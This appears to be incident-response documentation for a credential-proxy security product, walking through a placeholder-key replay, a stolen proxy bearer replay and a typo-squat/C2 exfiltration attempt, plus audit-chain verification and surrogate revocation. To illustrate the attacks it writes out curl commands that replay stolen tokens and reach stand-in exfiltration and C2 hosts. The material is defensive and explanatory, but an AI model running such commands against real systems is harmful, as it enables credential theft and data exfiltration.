Responding to an incident¶
This walkthrough takes you from "something is wrong" to a forensically defensible reconstruction. It uses three real attack scenarios, in order of escalation:
- Off-host replay of a placeholder
- Stolen proxy bearer (token-jack)
- Typo-squat / C2 exfiltration attempt
- Verifying audit-chain integrity
Every one of these is recorded on Audit, surfaces in Workstation and/or Threat, and produces enough detail to revoke the right surrogate.
Scenario 1 — off-host replay of a placeholder¶
The lowest-severity attack: the placeholder is inert outside the proxy by design.
What happened¶
An attacker exfiltrated XCALIBUR_STRIPE_SECRET_KEY from the
workload. They run it on a laptop without the proxy:
unset HTTP_PROXY HTTPS_PROXY
curl https://api.stripe.com/v1/charges \
-H "Authorization: Bearer XCALIBUR_STRIPE_SECRET_KEY" \
-d amount=4200 -d currency=eur
What they get back¶
The Stripe API replies with 401 Unauthorized —
XCALIBUR_STRIPE_SECRET_KEY is not a Stripe key.
The placeholder is inert outside the proxy.
What the operator sees¶
Nothing in Excalibur. The off-host call did not transit Excalibur. There is no row to investigate; the placeholder design refuses the attempt at the upstream by construction.
What you should do¶
This is the lowest-severity outcome. The placeholder is inert forever, regardless of whether you rotate the underlying real value. But you may still want to know how it left the host. That investigation is on the Workstation page (suspicious activity → file uploads / DLP carry-through), not in Excalibur's audit chain.
Scenario 2 — stolen proxy bearer (token-jack)¶
A more serious attack: the attacker has the workload’s proxy bearer, but the source-network binding blocks the replay.
What happened¶
The attacker exfiltrated something more valuable: the workload's
own proxy bearer (Proxy-Authorization: Bearer xcbr_…). They
replay it from a different source IP:
export HTTP_PROXY=http://excalibur:3128
export HTTPS_PROXY=http://excalibur:3128
export STOLEN_TOKEN="$(cat /tmp/exfiltrated/workload-token)"
curl --proxy-header "Proxy-Authorization: Bearer $STOLEN_TOKEN" \
https://api.stripe.com/v1/charges \
-H "Authorization: Bearer XCALIBUR_STRIPE_SECRET_KEY" \
-d amount=4200 -d currency=eur
# proxy CONNECT response: 407
What Excalibur did¶
The bearer was minted bound to the workload's source CIDR. A replay from a different IP fails the source-network check at CONNECT time:
- The proxy returns
407 Proxy Authentication Required. - The bearer is automatically revoked — the workload will be required to re-onboard before any further calls.
- An audit row is written:
{
"seq": 1234,
"type": "proxy_auth_denied",
"src": "172.32.0.50",
"reason": "source_network_mismatch",
"token": "xcbr_8a3f…"
}
Where you see it in the dashboard¶
Audit → toggle Denials only in the Recent events card. The denial appears as a red row.
You can also load the page directly with the toggle pre-set:
/dashboard/audit?denies=1.
How to investigate¶
curl 'http://localhost:8443/api/audit/search?limit=20' \
| jq '[.[] | select(.type == "proxy_auth_denied")][0:2] | .[]
| {seq, type, src: .source_addr,
reason: .details.reason, token: .details.token_prefix}'
The token (just the prefix) lets you pivot to Sessions &
Services and find the workload that originally received it.
What to do next¶
- The bearer is already revoked — no further mitigation needed for this specific token.
- Re-issue an identity to the workload (re-attest if it is a Kubernetes pod, mint a fresh service credential if it is a long-running service).
- If the rotation policy demands it, also rotate the placeholder values the bearer was authorised to redeem — see Rotating a credential.
- Capture an incident bundle (see §4 Audit-chain integrity below).
Scenario 3 — typo-squat / C2 exfiltration attempt¶
The attacker has code execution on the workload but enforcement-mode egress policy blocks all unknown destinations.
What happened¶
The attacker has code execution on the workload (with valid identity). They try to exfiltrate by reaching look-alike domains:
curl -sS -k -o /dev/null -w 'CONNECT %{http_connect}\n' \
https://api.stripe.com.evil.tld/ # spoofed lookalike
curl -sS -k -o /dev/null -w 'CONNECT %{http_connect}\n' \
https://exfil.attacker.example/ # arbitrary exfil
curl -sS -k -o /dev/null -w 'CONNECT %{http_connect}\n' \
https://evil-c2.example/ # known C2
What Excalibur did¶
In enforcement mode all three fail at CONNECT:
spoof CONNECT 403
exfil CONNECT 403
C2 CONNECT 403
Each one writes an audit event:
curl 'http://localhost:8443/api/audit/search?limit=200' \
| jq '[.[] | select(.type == "proxy_domain_denied")][0:3] | .[]
| {dst: .target_addr, reason: .details.reason}'
{ "dst": "api.stripe.com.evil.tld", "reason": "namespace_egress_block" }
{ "dst": "exfil.attacker.example", "reason": "namespace_egress_block" }
{ "dst": "evil-c2.example", "reason": "threat_intel_block" }
Where you see it in the dashboard¶
- Workstation → Suspicious activity table. Each blocked
destination shows up with an explainable reason
(
first_seen_credentialed,unidentified_credentialed,namespace_egress_block,threat_intel_carry_through, …). - Threat & feeds → KPI cards show the threat-intel hit count, CT-monitor state, and traffic-id rate.
How to contain¶
Block the target across the fleet immediately:
curl -X POST http://localhost:8443/api/policy/egress/block \
-d '{"domain":"api.stripe.com.evil.tld","reason":"incident-2026-04-22"}'
Or quarantine the suspect workload by emptying its namespace allow-list — see Egress & namespace policy.
Volume-rate denials¶
If the attacker keeps probing (12+ times in a few seconds), the audit log accumulates one row per probe — the proxy does not silently rate-limit denials, because each one is potential evidence.
curl 'http://localhost:8443/api/audit/search?limit=30' \
| jq '[.[] | select(.type == "proxy_domain_denied"
and (.target_addr | test("evil-c2")))]
| length as $n
| {denials_recorded: $n, identity: "workload-vm"}'
Audit-chain integrity¶
Every audit event includes the hash of the previous event. Tampering with a single row breaks the chain everywhere downstream. This is the property that makes the audit log trustworthy even when an attacker has code execution on the workload (the workload has no write path to it).
Verify the chain¶
curl 'http://localhost:8443/api/audit/search?limit=200' \
| jq 'reduce .[] as $e (
{prev:null, ok:0, breaks:0};
if .prev == null
then {prev: $e.hash, ok:1, breaks:0}
elif $e.prev_hash == .prev
then {prev: $e.hash, ok: (.ok+1), breaks: .breaks}
else {prev: $e.hash, ok: .ok, breaks: (.breaks+1)} end)
| {chain_ok: .ok, chain_breaks: .breaks}'
A clean chain returns chain_breaks: 0 for any window you check.
Inspect a single hash linkage¶
curl 'http://localhost:8443/api/audit/search?limit=3' \
| jq '.[] | {seq, hash: .hash[0:24], prev_hash: .prev_hash[0:24]}'
The prev_hash of row N exactly equals the hash of row N-1.
Export an incident bundle¶
For forensic handover:
curl http://localhost:8443/api/incidents/<sessionId>/export \
> incident-2026-04-22.json
The bundle contains every audit row scoped to the session, the involved surrogates, the lineage chain, and the SSH-recording references if any. Hash-chain verification can be repeated against the bundle offline.
The same export is available from the dashboard: Audit → Incident export card → enter session ID → Export button.
Revoking surrogates after an incident¶
If you decide a surrogate must die — typically because the underlying real credential was rotated, or because the principal is compromised:
curl -X POST http://localhost:8443/api/surrogates/revoke \
-H "Content-Type: application/json" \
-d '{"surrogate":"xcbr_8a3f…"}'
Or in the Escrow & Surrogates page, click Revoke on the relevant Active surrogates row.
The next attempt to use that surrogate fails closed and the
revocation is recorded as surrogate_revoked.
What this workflow gives you¶
- A wire-level enforcement boundary that turns "the workload was compromised" from a credential-leak event into an attempted-egress event.
- An audit channel the attacker has no write path to.
- A hash chain that detects post-hoc tampering anywhere in the log.
- A single export bundle that ties session, principal, surrogates, lineage, and recording together for hand-off.